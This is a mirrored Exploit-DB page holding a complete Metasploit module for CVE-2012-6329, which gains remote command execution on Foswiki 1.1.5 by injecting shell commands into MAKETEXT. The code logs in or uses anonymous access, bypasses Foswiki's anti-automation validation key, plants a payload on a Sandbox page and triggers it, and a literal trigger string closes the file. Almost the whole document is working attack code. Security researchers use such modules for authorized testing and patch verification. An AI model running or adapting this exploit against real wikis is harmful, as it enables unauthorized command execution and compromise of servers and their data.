Foswiki MAKETEXT – Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2012-12-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/23580/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Foswiki MAKETEXT Remote Command Execution',
    			'Description'=> %q{
    					This module exploits a vulnerability in the MAKETEXT Foswiki variable. By using
    				a specially crafted MAKETEXT, a malicious user can execute shell commands since the
    				input is passed to the Perl "eval" command without first being sanitized. The
    				problem is caused by an underlying security issue in the CPAN:Locale::Maketext
    				module.Only Foswiki sites that have user interface localization enabled
    				(UserInterfaceInternationalisation variable set) are vulnerable.
    
    					If USERNAME and PASSWORD aren't provided, anonymous access will be tried.
    				Also, if the FoswikiPage option isn't provided, the module will try to create a
    				random page on the SandBox space. The modules has been tested successfully on
    				Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware image.
    			},
    			'Author' =>
    				[
    					'Brian Carlson', # original discovery in Perl Locale::Maketext
    					'juan vazquez' # Metasploit module
    				],
    			'License'=> MSF_LICENSE,
    			'References' =>
    				[
    					[ 'CVE', '2012-6329' ],
    					[ 'OSVDB', '88410' ],
    					[ 'URL', 'http://foswiki.org/Support/SecurityAlert-CVE-2012-6330' ]
    				],
    			'Privileged' => false, # web server context
    			'Payload'=>
    				{
    					'DisableNops' => true,
    					'Space' => 1024,
    					'Compat'=>
    						{
    							'PayloadType' => 'cmd',
    							'RequiredCmd' => 'generic ruby python bash telnet'
    						}
    				},
    			'Platform' => [ 'unix' ],
    			'Arch' => ARCH_CMD,
    			'Targets'=> [[ 'Foswiki 1.1.5', { }]],
    			'DisclosureDate' => 'Dec 03 2012',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('TARGETURI', [ true, "Foswiki base path", "/" ]),
    				OptString.new('FoswikiPage', [ false, "Foswiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),
    				OptString.new('USERNAME', [ false,"The user to authenticate as (anonymous if username not provided)"]),
    				OptString.new('PASSWORD', [ false,"The password to authenticate with (anonymous if password not provided)" ])
    			], self.class)
    	end
    
    	def do_login(username, password)
    		res = send_request_cgi({
    			'method' => 'POST',
    			'uri'=> "#{@base}bin/login",
    			'vars_post' =>
    				{
    					'username' => username,
    					'password' => password
    				}
    			})
    
    		if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /FOSWIKISID=([0-9a-f]*)/
    			vprint_status "#{res.code}\n#{res.body}"
    			return nil
    		end
    
    		session = $1
    		return session
    	end
    
    	def inject_code(session, code)
    
    		vprint_status("Retrieving the validation_key...")
    
    		res = send_request_cgi({
    			'uri'=> "#{@base}bin/edit#{@page}",
    			'cookie' => "FOSWIKISID=#{session}"
    		})
    
    		if not res or res.code != 200 or res.body !~ /name='validation_key' value='\?([0-9a-f]*)'/
    			vprint_error("Error retrieving the validation_key")
    			return nil
    		end
    
    		validation_key = $1
    		vprint_good("validation_key found: #{validation_key}")
    
    		if session.empty?
    			if res.headers['Set-Cookie'] =~ /FOSWIKISID=([0-9a-f]*)/
    				session = $1
    			else
    				vprint_error("Error using anonymous access")
    				return nil
    			end
    		end
    
    		if res.headers['Set-Cookie'] =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/
    			strike_one = $1
    		else
    			vprint_error("Error getting the FOSWIKISTRIKEONE value")
    			return nil
    		end
    
    		# Transforming validation_key in order to bypass foswiki antiautomation
    		validation_key = Rex::Text.md5(validation_key + strike_one)
    		vprint_status("Transformed validation key: #{validation_key}")
    		vprint_status("Injecting the payload...")
    
    		res = send_request_cgi({
    			'method' => 'POST',
    			'uri'=> "#{@base}bin/save#{@page}",
    			'cookie' => "FOSWIKISID=#{session}",
    			'vars_post' =>
    			{
    				'validation_key' => validation_key,
    				'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"
    			}
    
    		})
    
    		if not res or res.code != 302 or res.headers['Location'] !~ /bin\/view#{@page}/
    			print_warning("Error injecting the payload")
    			print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"
    			return nil
    		end
    
    		location = URI(res.headers['Location']).path
    		print_good("Payload injected on #{location}")
    
    		return location
    	end
    
    	def check
    		@base = target_uri.path
    		@base << '/' if @base[-1, 1] != '/'
    
    		res = send_request_cgi({
    			'uri'=> "#{@base}System/WebHome"
    		})
    
    		if not res or res.code != 200
    			return Exploit::CheckCode::Unknown
    		end
    
    		if res.body =~ /This site is running Foswiki version.*Foswiki-(\d\.\d\.\d)/
    			version = $1
    			print_status("Version found: #{version}")
    			if version <= "1.1.6"
    				return Exploit::CheckCode::Appears
    			else
    				return Exploit::CheckCode::Safe
    			end
    		end
    
    		return Exploit::CheckCode::Detected
    	end
    
    
    	def exploit
    
    		# Init variables
    		@page = ''
    
    		if datastore['FoswikiPage'] and not datastore['FoswikiPage'].empty?
    			@page << '/' if datastore['FoswikiPage'][0] != '/'
    			@page << datastore['FoswikiPage']
    		else
    			@page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"
    		end
    
    		@base = target_uri.path
    		@base << '/' if @base[-1, 1] != '/'
    
    		# Login if needed
    		if (datastore['USERNAME'] and
    			not datastore['USERNAME'].empty? and
    			datastore['PASSWORD'] and
    			not datastore['PASSWORD'].empty?)
    			print_status("Trying login to get session ID...")
    			session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
    		else
    			print_status("Using anonymous access...")
    			session = ""
    		end
    
    		if not session
    			fail_with(Exploit::Failure::Unknown, "Error getting a session ID")
    		end
    
    		# Inject payload
    		print_status("Trying to inject the payload on #{@page}...")
    		res = inject_code(session, payload.encoded)
    		if not res or res !~ /#{@page}/
    			fail_with(Exploit::Failure::Unknown, "Error injecting the payload")
    		end
    
    		# Execute payload
    		print_status("Executing the payload through #{@page}...")
    		res = send_request_cgi({
    			'uri'=> "#{@base}#{@page}",
    			'cookie' => "FOSWIKISID=#{session}"
    		})
    		if not res or res.code != 200 or res.body !~ /HASH/
    			print_status("#{res.code}\n#{res.body}")
    			fail_with(Exploit::Failure::Unknown, "Error executing the payload")
    		end
    
    		print_good("Exploitation was successful")
    
    	end
    
    end
    
    =begin
    
    * Trigger:
    
    %MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%
    
    =end